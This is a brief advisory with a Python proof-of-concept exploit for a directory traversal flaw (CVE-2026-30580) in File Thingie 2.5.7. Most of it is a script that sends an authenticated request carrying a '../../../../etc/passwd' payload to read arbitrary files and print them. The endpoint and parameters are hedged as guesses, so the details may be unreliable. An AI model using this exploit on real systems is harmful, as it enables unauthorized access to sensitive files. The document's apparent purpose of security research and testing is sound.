File Thingie 2.5.7 is vulnerable to Directory Traversal. A malicious user can leverage the "create folder from url" functionality of the application to read arbitrary files on the target system.
The following code is for security research and authorized testing only.
python
import requests
def exploit_cve_2026_30580(target_url, session_cookie):
"""
PoC for CVE-2026-30580 Directory Traversal in File Thingie 2.5.7
Exploits the 'create folder from url' functionality to read arbitrary files.
"""
# Example target endpoint (may vary based on installation)
endpoint = f"{target_url}/filethingie.php"
# The payload attempts to traverse to the /etc/passwd file using relative paths
# Adjust the traversal depth ("../") based on the target's directory structure
malicious_file_param = "../../../../etc/passwd"
# Data payload mimicking the 'create folder from url' action
payload = {
"action": "createfolder",
"file": malicious_file_param
}
# Headers including the session cookie (required as per PR:L)
headers = {
"Cookie": f"PHPSESSID={session_cookie}",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.post(endpoint, data=payload, headers=headers, timeout=10)
if response.status_code == 200 and "root:" in response.text:
print("[+] Exploit successful! Arbitrary file read detected.")
print("[+] Response content:")
print(response.text[:500]) # Print first 500 chars
else:
print("[-] Exploit failed or target not vulnerable.")
print(f"Status Code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")
# Usage Example (Do not use without authorization)
# exploit_cve_2026_30580("http://target-ip", "valid_session_id")